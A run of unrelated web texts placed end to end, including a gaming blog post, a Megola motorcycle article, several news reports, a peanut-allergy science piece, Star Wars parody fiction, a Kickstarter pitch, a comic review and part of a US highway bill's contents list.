For whatever reason, when it comes to downloads vs. physical there’s definitely something awkward or uncomfortable about having a foot in each camp. If you’ve committed to physical purchases for a particular console, getting a stray download (or in my case review code) copy can really throw off your groove, especially if you’re displaying your games as decoration in your home, dedicated shelf-space ready and waiting. Conversely, if you’ve given up or are short on space and amass a digital library, it’s awkward when a sole physical version finds its way to your hands. “Where do I even put this? Should I just leave the disc in the console?” Such is the impasse met when collecting high volumes of videogames.
My default mode currently is physical games, but as is clear, I prefer to be in one mode or the other at a given time. If GameStop were to suddenly vanish, what’s less clear is what that would do for the physical market. On one hand, the droves of game-players who don’t necessarily identify as “gamers” (ie, just swing by the local GameStop for the latest big title, similar to a casual moviegoer) probably wouldn’t be all that irked about it; just like the decline of Blu-ray, they’d likely invest in a meaty hard drive or adopt a streaming service (if the latter ever becomes more prevalent for games that is) and get with the 21st century. No harm done.
Anyone remember GMR? It was the official EBGames mag before a merger where GameInformer took priority.
On the other hand, there are things keeping physical games alive in said scenario. In the past year Amazon began a permanent discount on games for Prime members: 20% off all physical pre-orders. Why or how they can manage this as a viable strategy is beyond me, but I haven’t questioned it; in fact, it’s Amazon’s move, not the continued existence of GameStop of PowerUp Rewards, that yanked me back from my digital ways and into the fold of physical plastic and discs once more. It’s a horrible personal decision given the size of my apartment, but who can say no to guaranteed savings?
As such I’m back on the physical train for current and new consoles, with several years’ worth of shelf-space cleared for the oncoming cascade of Nintendo Switch software at the very least. Mercifully its carts and cases are Vita-sized, something I find particularly endearing for a device functioning as a home console in addition to its handheld capability. I’m living proof that it’s tough to permanently part with physical games, but that’s mainly because of the case, artwork, and manual; discs I have zero attachment too. Plus, print manuals are largely being phased out nowadays anyway.
Limited Run's catalog at a given time is small, but it's always changing.
There are outfits that bring smaller titles a physical release affordably, and in a true apocalypse scenario I expect the demand for operations like Limited Run Games would double and triple if mass-production of physical releases swiftly went kaput. I mentioned print magazines earlier, and despite what’s been seen as a thorough extinction of physical gaming mags over the course of the last two decades, some have come about that fare better than would ever be possible clinging to a dying model. Keep in mind, once viable support is established, these operations don’t have to deal with the headaches of SEO or ad clickthrough either. As with anything pros and cons exist, but should physical games see a decline that actually threatens their existence, it will be interesting to witness the creative means of preserving them that inevitably crop up.
In the meantime, GameStop probably isn’t going out of business soon, and other retailers beyond Amazon have crafted similar incentives that should keep real-life objects in fashion for the foreseeable future. If digital games were delivered with schematics usable by 3D printers, making homemade physical versions possible, it’d be a different story. Realistically though, that’s probably more of a next-century scenario. By then I fully expect “physical game” to mean “a chip I can insert into my onboard brain VR” anyway.Megola motorcycle at the Traffic Section of Deutsches Museum, Munich
The Megola was a German motorcycle produced between 1921 and 1925 in Munich. Like Bimota, the name is a portmanteau derived loosely from the names of its designers Meixner, Cockerell, and Landgraf.
Unusual design [ edit ]
The Megola had a unique design, laid down by Fritz Cockerell in 1920, using a rotary engine mounted within the front wheel. The engine contained five cylinders with side-mounted valves, each of which displaced 128cc, with a bore/stroke of 52x60mm, and a total displacement of 640 cc (39 cu in). The 5 cylinders rotated around the front axle at 6x the wheel speed; thus while the cylinders were at maximum of 3600rpm the front wheel was turning at 600rpm, or roughly 60 mph (given the wheel diameter). A hand-controlled butterfly valve was located in the hollow crankshaft to regulate throttle. Power output was a modest 14 bhp (10 kW) but was applied directly to the wheel. This arrangement produced a very low centre of gravity and provided for excellent handling.[1]
The engine was very flexible, lacking both a clutch and a transmission. Starting it required a person to either spin the front wheel while the bike was on its stand, or to push-start. The cylinders could be disassembled without having to remove all the wheel spokes in order to service the engine. The tires were tubed with the front inner-tube being a circular sausage shape rather than a complete doughnut-like torus shape, so that it could be changed without removing the wheel and engine. The box section frame contained the main fuel tank which fed by gravity a smaller tank mounted on the axle. The front suspension consisted of semi-elliptical springs.
The top speed was 85 km/h (52 mph) resulting in a win at the German Championship in 1924, while later, sportier models were said to be capable of 140 km/h (88 mph). A total of ~2000 Megolas were built, and perhaps only 10 rideable examples remain, and one was displayed at the Guggenheim Museum 'Art of the Motorcycle' exhibition in New York City, United States.
Killinger and Freund [ edit ]
In 1935 there was an attempt by a group of engineers to make an improved version, the Killinger and Freund Motorcycle, but World War II put an end to their plans.
Sources [ edit ]
^ 0-906286-07-7 Title: "The Illustrated Encyclopedia of Motorcycles", Editor: Erwin Tragatsch, Published: New Burlington Books, 1979. ISBNNethy Dharma Somba
Labora Sitorus, a low-ranking police officer, fled from his home in Sorong, West Papua when hundreds of officers went to his house to escort him to Cipinang Penitentiary in Jakarta on Friday.
At least 683 officers from the West Papua Police, the Sorong Police and officials from the Justice and Human Rights Ministry were assigned to pick him up at his house in Tampa Garam, Sorong, on Friday, but Sitorus was nowhere to be found.
"Our officers could not find him. His family said he left on Thursday evening," West Papua Police chief Brig. Gen. Royke Lumowa said on Friday.
West Papua Justice and Human Rights Agency spokesman Puji Harinto said officers had tried to bring in Sitorus when they arrived at his house at 8 a.m. local time.
Sitorus, a former police chief brigadier in Raja Ampat, West Papua, was sentenced to 15 years in prison by the Supreme Court in 2014 for illegal logging, fuel hoarding and money laundering. The court approved an appeal filed by prosecutors against his two-year prison sentence that was handed down by the Sorong District Court.
The Supreme Court increased his fine to Rp 5 billion (US$381,679) from the previous Rp 500 million.
He was taken to court when the Financial Transaction Reports and Analysis Centre (PPATK) found that he had suspicious bank accounts containing Rp 1.5 trillion.
This is not the first time that Sitorus has escaped. He was given permission to leave Sorong Penitentiary in March 2014 to seek medical attention but never returned. The police re-arrested him in February last year, but he left prison again in October to undergo treatment at Pertamina Hospital.
Sorong Penitentiary officials gave him permission to be treated and undergo therapy at his house after he suffered a stroke and heart problems.
He lived in his house and went about his normal activities. He attended his son's wedding in December last year.
The ministry decided to transfer Sitorus to Cipinang Penitentiary in East Jakarta so that he could be treated for his health problems while serving time.
Justice and Human Rights Minister Yasonna H Laoly said the National Police had been advised to put Sitorus on their wanted list.
"We suspect that rouge officials are helping him escape," he said as quoted by Antara news agency, adding that the ministry was investigating who the rogue officials were.
The ministry has also issued a travel ban on Sitorus and will focus the search in Sorong and its surroundings. (rin)BROADLY speaking, East Asians and Westerners suffer the same types of food allergies in about the same proportions. But there is an exception. Westerners are roughly twice as likely as East Asians to be allergic to peanuts. This is a puzzle—as is the question of why anyone is allergic to peanuts in the first place.
A paper in the Journal of Allergy and Clinical Immunology sheds light on both matters. The study it describes, conducted by Quentin Sattentau of Oxford University and his colleagues, found that mice are more likely to develop a peanut allergy in response to dry-roasted nuts than raw ones. Since dry roasting is more common in the West than in East Asia, that may explain the disparity of incidence. And the chemical changes induced by dry roasting help explain what causes peanut allergy in the first place.
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Dr Sattentau and his team injected their mice with proteins derived from raw or dry-roasted peanuts, to prime the animals’ immune systems. Then, they fed those animals raw or dry-roasted peanuts. Mice that had been primed with proteins from the dry-roasted nuts exhibited more robust immune responses to both diets. Their levels of antibodies—specifically of a type called immunoglobulin E (IgE)—rose significantly. High levels of IgE are the hallmark of an allergic reaction. Though the mice primed with raw-peanut protein also produced lots of antibodies, far fewer were IgEs.
The difference, Dr Sattentau thinks, stems from the fact that dry roasting triggers what is known to chemists as the Maillard reaction, and to chefs as “browning”. The Maillard reaction is one between sugars and proteins that forms new, complex molecules called advanced glycation end-products (AGEs). These create many of the pleasant aromas associated with cooked foods, but are also suspected of causing certain allergies—including, it would now appear, peanut allergy.
Indeed, Dr Sattentau showed that proteins derived from dry-roasted peanuts bind to dendritic cells, a type important to the immune response. Specifically, these proteins interact with cell receptor-molecules known to bind to AGEs. Dr Sattentau believes this binding is the molecular mechanism which triggers peanut allergy.
Don’t go nuts
Why, even so, most people can eat peanuts without ill effect, is probably a quirk of genetics. The genes that regulate the immune system are the most variable in the human genome so, peanutwise, some people are probably just dealt an unlucky hand by the genetic shuffling that created their own genomes out of their parents’.
But for those people—and particularly for those among them for whom even proximity to peanuts risks anaphylactic shock—there is reason for hope. Results of an experiment published earlier this year by researchers at Cambridge University showed that exposing peanut-sensitive children to tiny amounts of the nuts can, over a period, slowly desensitise them. If this finding holds up it could mean that, though those who develop peanut allergy may never enjoy the things in the way that the rest of humanity does, at least effects of peanuts on them will be peanuts.Chapter 9 of the Otherworlds Campaign has arrived and with it the final encounter with King Uther, Ymir, and Queen Cliodna! Can you defeat them and earn their Otherworldly Cloak?
Check out walkthroughs for the Prologue and Chapters 1-8 as well as the new Chapter 9 notes by clicking the Campaign Calendar image above or read the notes below!
After completing Chapter 8, visit the following NPCs to continue on to Chapter 9: Albion: Lieutenant Haley in the Otherworlds' Camelot Hills, Chapter 8 area Midgard: Arin Snowtouch in the Otherworlds' Mularn, Chapter 8 area Hibernia: Nara Manastrong in the Otherworlds' Lough Derg, Chapter 8 area
Drive back the rulers of the Otherworlds once and for all! You've tracked down Uther's, Ymir's, and Cliodna's whereabouts and the realms are launching a full-scale attack on their forces. King Uther seems to have fled to Cotswold, but upon arrival it is apparent he is the aggressor here! There is no running this time. After arriving in Chapter 9, learn what his demands are from the King’s Emissary. Ymir has another portal key and has stomped his way towards the town of Mularn to make his stand. This will be the last chance to stop him from entering Midgard! After arriving in Chpater 9, find out what his Emissary has to say. Queen Cliodna has made a pact with the Unseelie Court and all of their forces now follow her orders. Her orders could be to destroy Hibernia, or protect it. After arriving in Chapter 9, speak with the Emissary to see which it is! A newly-skinned Otherworldly Cloak is yours for the taking if you can manage to defeat King Uther, Ymir, or Queen Cliodna! Note: Players will need to patch their client to see the new cloak art. Follow the hints to see where Chapter 10 will be!An explosion killed 12 people and wounded at least 24 at a night market in President Rodrigo Duterte's hometown of Davao in the southern Philippines, a region under a heightened security alert because of a military offensive against Abu Sayyaf militants, officials said.
Regional military commander Lt.-Gen. Rey Leonardo Guerrero said it was not immediately clear what caused the explosion at a massage section of the market, which was cordoned off by police bomb experts and investigators.
Police Chief Supt. Manuel Gaerlan said witnesses gave contrasting accounts, with some saying that a cooking gas tank exploded while others suggested it may have been some kind of an explosive. Police set up checkpoints in key roads leading to the city, a regional gateway about 980 kilometres south of Manila.
A Philippine soldier keeps watch at a deadly blast site at a night market in southern Davao, the hometown of Philippine's president. (Manman Dejeto/Associated Press)
TV footage showed plastic chairs strewn about at the scene of the blast, where witnesses said the bodies of some of the dead lay scattered a few hours after the explosion. Ambulance vans drove to and from the area following the blast.
Police forces in the capital Manila went on full alert at midnight following the deadly blast.
'No cause for alarm'
Duterte, who served as a longtime mayor of Davao before assuming the presidency in June, was in the region but has not issued any statement. His spokesman, Ernesto Abella, urged the public to be vigilant.
"While no one has yet claimed responsibility it is best that the populace refrain from reckless speculation and avoid crowded places," Abella said. "There is no cause for alarm, but it is wise to be cautious."
Police investigators inspect the area of a market where an explosion rang out in Davao. (Lean Daval Jr./Reuters)
Philippine forces were on alert amid an ongoing military offensive against Abu Sayyaf extremists in southern Sulu province, which intensified last week after the militants beheaded a kidnapped young villager. The militants threatened to launch an unspecified attack after the military said 30 of the gunmen were killed in the weeklong offensive.
Some commanders of the Abu Sayyaf, which is blacklisted by the United States and the Philippines as a terrorist organization for deadly bombings, ransom kidnappings and beheadings, have pledged allegiance to ISIS.
The military, however, says there has been no evidence of a direct collaboration and militant action may have been aimed at bolstering their image after years of combat setbacks.So, where to begin with this piece? This was something I started nearly 2 years ago in an effort to make a Persona 4 piece. As with anything I've a really big fan of, it's hard to create a piece because I want so badly to do something amazing. From the start, I knew I wanted everyone to be inside a TV, except for Yu. I tried multiple compositions, but everything came out flat and boring. I then got the crazy idea to try 4 point perspective! Something I had never tried before. It was the only way I felt I could portray the crazy wonkyness of the TV world, with an otherwordly angle. It was definitely pushing my limits to try such a thing, while on top of that illustrating a huge wall of TVs. I started it back then, made some decent progress and then got discouraged and left it for dead on my hard drive. Only now did I pick it back up and make myself finish it and I'm actually quite proud of the final result.
There's a lot more I could say about all the filters, static, and film grain I added to achieve the final look but I'm really just done with looking at this piece.After Action Review – Operations on Jakku
Scene: Platoon room for 1st Platoon, 2nd Company, 4th Battalion, 225th Legion, First Order Stormtrooper Corps. Platoon sergeant SG51 is conducting the after action review for operations on Jakku.
SG51: Alright, settle down troopers, settle down. Let’s get this whole AAR finished so that I don’t get an ass-chewing from the LT who is more scared of Captain Phasma than the enemy.
Okay, so my name is SG51, I am your platoon sergeant, blah, blah, blah. You know the drill. And if I hear things like, “Oh the chow was shitty” or “the weather was bad,” Vader help me, I will have you doing PT in full armor up and down the length of this Star Destroyer.
Okay, so, operations on Jakku: what was supposed to happ – dammit, GD796, if you can’t keep your hand out of your crotch piece for five seconds, I will cut it off. As I said, what was supposed to happen?
RL29: Um…sergeant, we were supposed to land on Jakku and find some dude with a map.
SG51: Okay, yeah, in frikkin’ Bantha-speak, I guess that’s what was supposed to happen.
AK22: Sergeant! At 0045 we received orders for 1st Platoon, 2nd Company, 4th Battalion, 225th Legion to conduct an air assault onto Jakku in order to interdict a high value target for interrogation by Kylo Ren.
SG51: No one likes a show-off, AK22. But yeah, that’s exactly what was supposed to happen. What did happen? Anyone?
BF42: Uh, yeah, sarge, we got dropped off by those Navy dudes who landed us with our transports facing the bad guys, which was just bullshit. They screwed us on air support, too. And intelligence didn’t say shit in the pre-assault briefing about Resistance fighters being on-planet.
SG51: Can we go one AAR without you diming out everyone but yourself, BF42? If I recall, I saw your ass sleeping in the bird on the way in. Know what, why don’t you just get in the front-leaning rest position for the rest of this AAR?
Alright, so, we boarded transports, and yes, we inserted completely exposed with no air support. But we learned that lesson quick, huh?
LM934: Nice work calling in air in that next op searching for that girl, sergeant. I sure as hell didn’t feel like searching every single ship in that junkyard, especially not after RL29 almost had his nuts shot off searching that freighter last month.
SG51: Yeah, those months out in that OP sure taught me how to call for air right away. Alright, back to this AAR. Lemme get some sustains. What went well?
PJ98: These new blasters are awesome. Way better support from an extendable stock. The new mags are pretty sweet, too. Anyone see me nail that one dude right in the head straight off?
SU57: New helmets are also great. We should get supply some booze for getting us these. I can actually see my full field of vision instead of just straight ahead. Took ‘em long enough, but here’s to gear that actually works.
SG51: No kidding, right? Although PR39’s chest rig makes him look like a straight up POG. You need to spend more time on the range and less time at the Starfleet Exchange, roger?
LS20: Sergeant, I think our assault was pretty aggressive, lotsa violence of action and all.
SG51: Yeah, I agree with you there, we got in there fast and hard, just like I did with my ex-wife. Too soon? Okay. Alright, how about some improves? Whoa, that’s a lot of hands.
LM934: Sarge, we got shafted by 2nd Platoon who were supposed to be doing outer cordon. They let that Resistance pilot sneak in and waste dudes. That was pretty jacked up.
SU57: Yeah, and wasn’t FN2187 in that platoon? Who takes a POG along for an op like this?
SG51: Okay, yeah, that dude…if I ever get my blaster on him, he’s done. What else?
SP002: Right, I’m gonna say what we’re all thinking: why the hell does KR run our ops? He’s just a political schmuck, no field experience, always wants us to kill everyone which, to be honest, I don’t feel good about…why are you all looking at me like that? Oh fuck, is he behind me?
SG51: No, but you gotta be careful, those Ren dudes hear shit they shouldn’t be able to. Let’s stay off that topic for the good of everyone’s health. I know we all feel a little weird after that whole…shooting incident. But remember: they were harboring enemies, and shot at us, so…I guess they had it coming. Doesn’t make me feel better, but there it is.
AM907: We definitely need to get our heavy weapons squad back from headquarters, those guys would’ve come in handy with that X-Wing.
SG51: Especially since they’re just inventorying airspace shipping containers for the XO. Pretty sure he’s got his own POG’s for that. But I’m not talking to Captain Phasma about that, she’s intense. Did you know she was the first woman in Stormtrooper corps? Paving the way for our own LS20, who, by the way, kicked some ass out there on her first field op, by the way. Nicely done, trooper.
Okay, I got three sustains, three improves, minus that stuff at the end. I’m not even gonna get into the follow-on mission for the search for that girl, because the Navy managed to screw that right into the ground, letting that ship escape. BF42, go ahead and recover. Try not to be such an asshat.
You all go get some rest and refit for the next mission; I hear we got another landing outside some smuggler’s compound, so make sure you see supply for any pre-mission gear you need; breaching kits might be a good idea. We’ll do a load plan and have that ready for the patrol brief at 2100. Asses in seats by 0100. Looks like another long night.
Ready, break.
Enjoy what you just read? Please share via social media using the buttons below.Black Lives Matter Bay Area and other organizations said Friday that they will not participate in this weekend’s San Francisco Pride Parade due to increased policing in the wake of the Orlando nightclub shooting
Black Lives Matter, which was to be an organizational grand marshal for the parade themed “For Racial and Economic Justice,” cited concerns over the San Francisco Police Department’s “recent track record of racist scandal and killings of people of color” and how first responders can be a source of harm to “queer communities of color.”
“The Black Lives Matter network is grateful to the people of San Francisco for choosing us, we choose you too,” said Malkia Cyril, a member of Black Lives Matter, in a press release. “As queer people of color, we are disproportionately targeted by both vigilante and police violence.
“We know firsthand that increasing the police presence at Pride does not increase safety for all people,” Cyril added. “Militarizing these events increases the potential for harm to our communities and we hope in the future SF Pride will consider community-centered approaches to security at pride events.”
Those joining with Black Lives Matter in withdrawing from the parade due to the increased police presence include Janetta Johnson, executive director of the TGI Justice Project that serves imprisoned trans, intersex and gender non-conforming people, and the St. James Infirmary, a clinic for current and former sex workers.This is amazing! With under 70 hours left we are really keeping the momentum going! So, for all that help and support, thank you! And if we hit the 4K mark, all $50 dollar backers will get a limited edition signed print from the behind the scenes photos from on set by Dim Horizon Studios. And!!! get a photo shoot with Dim Horizon Studios when you donate $251 or more! So keep on spreading the word and thanks again everyone!
We need your additional help securing the Southeastern Railway Museum for Remnant. The location is going to cost a good bit more than we anticipated, but we know we can raise the extra funds. Please give what you can and/or share the page.
THANK YOU and what the hell is The Battle
Support for Remnant has been overwhelming! Everyone has raised $2,200 in only 8 days. Thank you for contributing and sharing this amazing project, but this is only the beginning. We have had a lot of questions about The Battle.
The Battle will be a live event like none you've ever attended. The event will include more awesomeness than should be allowed in one place. Tickets sales for this event will begin in late February and the event will go down early Summer in Atlanta. To anyone that attended Perry Con, you know we're capable of some serious fun. If you don't know what Perry Con is, ask someone:)
The Battle will sell out, but the good news is you can secure your tickets now! Anyone that pledges $30 or more will receive two tickets to the event. Anyone that pledges $50 or more will receive four tickets. If you've already donated at these levels then your tickets are secure. We could definitely use the extra funds so please help us out and help yourself out!!
Make sure you've liked our facebook page and subscribed to our youtubechannel. God Bless and God Speed!
The Story
The Turn was black, bloody, chaotic, then quiet. Mankind has spent the last 500 years clinging to a pathetic existence, but from the rubble of time's decay rises a relentless power. Remnant will stop at nothing to unify the realm and restore order, but order comes at a price some won't pay. Which side will you choose, Order or Freedom?
What You're Funding
Total badassness... which will manifest itself in six live-action, steampunk-influenced short films, roughly three minutes apiece. Each film features one of six characters that inhabit the world of Remnant. All films take place before a great battle, and give the viewers an opportunity to decide who is right and who is wrong, and to "choose a side". The films will culminate in a bombastic, interactive live show called "the Battle". (You'll be guaranteed two tickets when you donate $30 or more.)
These short films will be the unified hard work of a team of self-sustaining independent artists, costume designers, prop designers, actors, musicians, photographers and filmmakers looking to bring the dark, beautiful, gritty, disturbingly-relevant dystopian world of Remnant to the small screen. Originally conceptualized by Penny Dreadful Productions, the world of Remnant has grabbed the minds of contributors looking to participate in a multi-platform creative project with substance which will add to the existing legacy of steampunk/industrial film and art. Remnant exists, not only as a
visual feast for the senses of those who love the steampunk/industrial aesthetic, but as a dark look into the future as well as the past that asks the relevant question: Would you prefer security and order at the cost of freedom of thought and action?
We believe in this project and in the overall creative contributions of steampunk film to the independent film community, and are hoping that you, the Kickstarters, will see its merits and join us in bringing Remnant to life.
Your money will pay for:
Food for the cast and crew
Locations
Set and costume materials
Actors
A fancy cocktail party (joking)
Birth of an IdeaFile this under “well, it was certainly handled better than it might’ve been a few years ago” but make sure you file a duplicate under “yet, the fact that this still happens says a lot about some folks’ feelings about gay people.”
Outsports reports that, last Friday, at the Angles-Mariners game, a lesbian couple was issued a reprimand by a Safeco Field usher — basically, they were informed, in writing, of a complaint by other fans — for a public display of affection. Hugging and kissing. Nothing unusual and nothing extreme. They were nonetheless told that they needed to stop because their behavior was inappropriate in a “public, family setting.” Clearly, someone was icked-out because a same-sex couple was doing the same thing opposite sex couples do all the time.
The couple then went to guest services to object to the reprimand. To the Mariners’ credit, they immediately apologized, rescinded the reprimand (for whatever the reprimand was worth in the first place) and that was followed up by a heartfelt message from a Mariners manager on Monday, again apologizing and then offering to invite then back to a future game for a better Mariners game experience. Outsports has a transcript of the message left by the Mariners employee, which unlike so many other apologies from businesses, was thoughtful and human [Hold that thought: see the update below].
We live in a way more more enlightened and accepting society when it comes to such matters now than we ever have, but the fact that some people would lodge a formal complaint over gay people doing the exact thing straight people do all the dang time at a ballpark — and that a stadium employee would endorse the complaint formally like this usher did — speaks to just how far we still have to go.
Kudos, however, to the Mariners for immediately and positively responding.
UPDATE: Wait, let’s retract the kudos. It seems the Mariners walked back the apology and retreated to the position that the couple acted inappropriately:
Despite the overt apology by Swisher, and her absolving the couple of any wrongdoing in the voicemail, on Tuesday Mariners spokesperson Rebecca Hale spun a completely different story about what triggered the incident on Friday, telling Outsports that, according to reports, the couple acted inappropriately. Hale said the usher received two complaints — one of them from a fellow Safeco Field staff member — that the two lesbians were “making out” with one another and should be stopped. Plus, despite Swisher telling the couple that the usher regretted the encounter, Hale told Outsports that the usher’s own written statement maintained that the couple was “making out” and that the usher “felt it was not appropriate for the public setting.” When asked about Swisher contacting the lesbian couple and apologizing, Hale dismissed the outreach as protocol.
My fault for the first version of this story that left that out. It was just careless on my part. I got to the part where the employee left the apologetic message, felt like it was at a resolution, and then did a bad skim down beyond it, missing a paragraph or two because a quick scan made me think it was all just the later historical backfill. Apologies.
Follow @craigcalcaterraDisclaimer: This is the first issue of Smallville Season Eleven I’ve ever read and I have not seen the television show. While I will review the issue itself, I’ll mainly be editorializing on the character of Wonder Woman, her storied origin, and how this issue introduces the character into the Smallville-iverse. With that out of the way, all speed ahead!
Smallville was a popular television show, created in 2001 by Miles Millar and Alfred Gough, that depicted the early days of Clark “Smallville” Kent ( aka “The Man of Steel”, “The Man of Tomorrow”, faster than a speeding… yada yada SUPERMAN! ), Lana Lang, Lois Lane, and Lex Luthor – as portrayed by Tom Welling, Kristin Kreuk, Erica Durance, and Michael Rosenbaum respectfully. It lasted for ten seasons and was notable for focusing on the human drama aspects of Clark’s life (his relationships with Lang, Luthor, and Lane) and less for cape-donning fisticuffs. Ending after ten seasons, the show was revitalized in 2012 by veteran television writer Bryan Q. Miller in comic form. Enter Smallville: Season Eleven.
Creatively, a comic book continuation of a television show allows the writers room to do things that may have otherwise been hampered by budgetary restraints and deadlines. Clark wears the tights, flies, fights, and is able to meet other DC Universe characters such as Batman, Nightwing, Supergirl, and now Diana of Themyscira. Up until this point, Wonder Woman has only been hinted at in the Smallville universe, most famously in the Season Ten episode “Fortune” where the character Chloe Sullivan mentions to Clark how she encountered “a wondrous woman who’s gonna throw you for a loop”.
So how does the Princess of Themyscira’s introduction fare?
The Good:
This is the best reworking of the Wonder Woman / Steve Trevor origin story in recent memory. The choice to have them meet as children is practically divine in its simplicity and yet incredibly effective. The story opens with little Steve washed up on the shores of Paradise Island, a sinking cruise liner burns at sea, in a classic case of “show, don’t tell” that too many comics forget these days. A small island girl with a spear appears, introduces herself as Diana of Themyscira, and hides Steve away.
In roughly 5 pages, writer Bryan Q. Miller immediately establishes a number of things: 1] somewhere exists a fantastical island of women warriors that have not seen the likes of men, 2] Diana is not content with the confines of this place, obvious by her intrigue in this oddity washed up on her shores and 3] she will protect her “new boy” from those that would harm him.
The introduction hits just enough notes that it doesn’t feel too far removed from the original source material, but is different enough that it doesn’t feel like a tired retread. In a way, it is even more eloquent than the very well done 2009 animated Wonder Woman film. What? You haven’t seen that yet? Well, you really should because it is quite excellent.
The tone of “familiar but different” continues right into the main story set “Twenty Years Later” as Martha Kent (a Senator in this iteration) meets with the shady Director “Bones” to discuss some important political business. The meeting is interrupted, however, by a gang of magic wielding terrorists. But have no fear, as a certain gauntleted Amazon warrior arrives to save the day!
Again, Bryan Q. Miller shows off his knowledge of the character’s origins by reintroducing us to her Gauntlets. This scene instantly reminded me of George Perez’s post-Crisis Wonder Woman #1.
In that issue, Diana is given the Gauntlets of Atlas as a final test of her worthiness. After blocking her first bullets she is granted the uniform and title of Wonder Woman, defender of Paradise Island.
So Diana’s first act in the Smallville universe is to save Superman’s mom. Not a bad start. Diana also refers to Martha Kent as “sister” clearly an homage to the characters iconic status of female empowerment. And as the issue ends, Ma Kent makes a frantic phone call to her son, asleep in bed with Lois by his side, detailing her ordeal. Clark can hardly believe his ears and who can blame him? He’s usually the one doing the saving.
The Bad:
The only bad thing about this issue is that it is too short. But at $0.99 – and with another to be released digitally next Friday, July 26th – it is hard to complain. Bryan Q. Miller crams so much into such a small page length and yet the book never feels cluttered.
Final Verdict:
Lately in the news there has been a lot of talk about how “tricky” a character Wonder Woman is to adapt. You know, as opposed to the man who dresses like a bat and punches clowns or the alien from another world who shoots laser beams out of his eyes.
Diane Nelson, President of DC Entertainment, has talked about how the character doesn’t “have the single, clear, compelling story that everyone knows and recognizes.” Oh really? Amazon princess, kicks butt, fights for peace in Man’s World? Is it really such a complicated concept? Wonderfully talented writers like Greg Rucka, Gail Simone, George Perez, Brian Azzarello, and now Bryan Q. Miller have been doing just fine crafting interesting, intelligent, and exciting stories for such a “tricky” character. A character, as journalist Alan Kistler eloquently points out, that has been around since 1941. Surely there is at least one storyline in the last 72 years that is worthy of adaptation?
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EDERAL-AID HIGHWAYS Subtitle A--Authorizations and Programs Sec. 1101. Authorization of appropriations. Sec. 1102. Obligation ceiling. Sec. 1103. Definitions. Sec. 1104. Apportionment. Sec. 1105. Nationally significant freight and highway projects. Sec. 1106. National highway performance program. Sec. 1107. Emergency relief for federally owned roads. Sec. 1108. Railway-highway grade crossings. Sec. 1109. Surface transportation block grant program. Sec. 1110. Highway use tax evasion projects. Sec. 1111. Bundling of bridge projects. Sec. 1112. Construction of ferry boats and ferry terminal facilities. Sec. 1113. Highway safety improvement program. Sec. 1114. Congestion mitigation and air quality improvement program. Sec. 1115. Territorial and Puerto Rico highway program. Sec. 1116. National highway freight program. Sec. 1117. Federal lands and tribal transportation programs. Sec. 1118. Tribal transportation program amendment. Sec. 1119. Federal lands transportation program. Sec. 1120. Federal lands programmatic activities. Sec. 1121. Tribal transportation self-governance program. Sec. 1122. State flexibility for National Highway System modifications. Sec. 1123. Nationally significant Federal lands and tribal projects program. Subtitle B--Planning and Performance Management Sec. 1201. Metropolitan transportation planning. Sec. 1202. Statewide and nonmetropolitan transportation planning. Subtitle C--Acceleration of Project Delivery Sec. 1301. Satisfaction of requirements for certain historic sites. [[Page 129 STAT. 1313]] Sec. 1302. Clarification of transportation environmental authorities. Sec. 1303. Treatment of certain bridges under preservation requirements. Sec. 1304. Efficient environmental reviews for project decisionmaking. Sec. 1305. Integration of planning and environmental review. Sec. 1306. Development of programmatic mitigation plans. Sec. 1307. Technical assistance for States. Sec. 1308. Surface transportation project delivery program. Sec. 1309. Program for eliminating duplication of environmental reviews. Sec. 1310. Application of categorical exclusions for multimodal projects. Sec. 1311. Accelerated decisionmaking in environmental reviews. Sec. 1312. Improving State and Federal agency engagement in environmental reviews. Sec. 1313. Aligning Federal environmental reviews. Sec. 1314. Categorical exclusion for projects of limited Federal assistance. Sec. 1315. Programmatic agreement template. Sec. 1316. Assumption of authorities. Sec. 1317. Modernization of the environmental review process. Sec. 1318. Assessment of progress on accelerating project delivery. Subtitle D--Miscellaneous Sec. 1401. Prohibition on the use of funds for automated traffic enforcement. Sec. 1402. Highway Trust Fund transparency and accountability. Sec. 1403. Additional deposits into Highway Trust Fund. Sec. 1404. Design standards. Sec. 1405. Justification reports for access points on the Interstate System. Sec. 1406. Performance period adjustment. Sec. 1407. Vehicle-to-infrastructure equipment. Sec. 1408. Federal share payable. Sec. 1409. Milk products. Sec. 1410. Interstate weight limits. Sec. 1411. Tolling; HOV facilities; Interstate reconstruction and rehabilitation. Sec. 1412. Projects for public safety relating to idling trains. Sec. 1413. National electric vehicle charging and hydrogen, propane, and natural gas fueling corridors. Sec. 1414. Repeat offender criteria. Sec. 1415. Administrative provisions to encourage pollinator habitat and forage on transportation rights-of-way. Sec. 1416. High priority corridors on National Highway System. Sec. 1417. Work zone and guard rail safety training. Sec. 1418. Consolidation of programs. Sec. 1419. Elimination or modification of certain reporting requirements. Sec. 1420. Flexibility for projects. Sec. 1421. Productive and timely expenditure of funds. Sec. 1422. Study on performance of bridges. Sec. 1423. Relinquishment of park-and-ride lot facilities. Sec. 1424. Pilot program. Sec. 1425. Service club, charitable association, or religious service signs. Sec. 1426. Motorcyclist advisory council. Sec. 1427. Highway work zones. Sec. 1428. Use of durable, resilient, and sustainable materials and practices. Sec. 1429. Identification of roadside highway safety hardware devices. Sec. 1430. Use of modeling and simulation technology. Sec. 1431. National Advisory Committee on Travel and Tourism Infrastructure. Sec. 1432. Emergency exemptions. Sec. 1433. Report on Highway Trust Fund administrative expenditures. Sec. 1434. Availability of reports. Sec. 1435. Appalachian development highway system. Sec. 1436. Appalachian regional development program. Sec. 1437. Border State infrastructure. Sec. 1438. Adjustments. Sec. 1439. Elimination of barriers to improve at-risk bridges. Sec. 1440. At-risk project preagreement authority. Sec. 1441. Regional infrastructure accelerator demonstration program. Sec. 1442. Safety for users. Sec. 1443. Sense of Congress. Sec. 1444. Every Day Counts initiative. Sec. 1445. Water infrastructure finance and innovation. Sec. 1446. Technical corrections. TITLE II--INNOVATIVE PROJECT FINANCE Sec. 2001. Transportation Infrastructure Finance and Innovation Act of 1998 amendments. [[Page 129 STAT. 1314]] Sec. 2002. Availability payment concession model. TITLE III--PUBLIC TRANSPORTATION Sec. 3001. Short title. Sec. 3002. Definitions. Sec. 3003. Metropolitan and statewide transportation planning. Sec. 3004. Urbanized area formula grants. Sec. 3005. Fixed guideway capital investment grants. Sec. 3006. Enhanced mobility of seniors and individuals with disabilities. Sec. 3007. Formula grants for rural areas. Sec. 3008. Public transportation innovation. Sec. 3009. Technical assistance and workforce development. Sec. 3010. Private sector participation. Sec. 3011. General provisions. Sec. 3012. Project management oversight. Sec. 3013. Public transportation safety program. Sec. 3014. 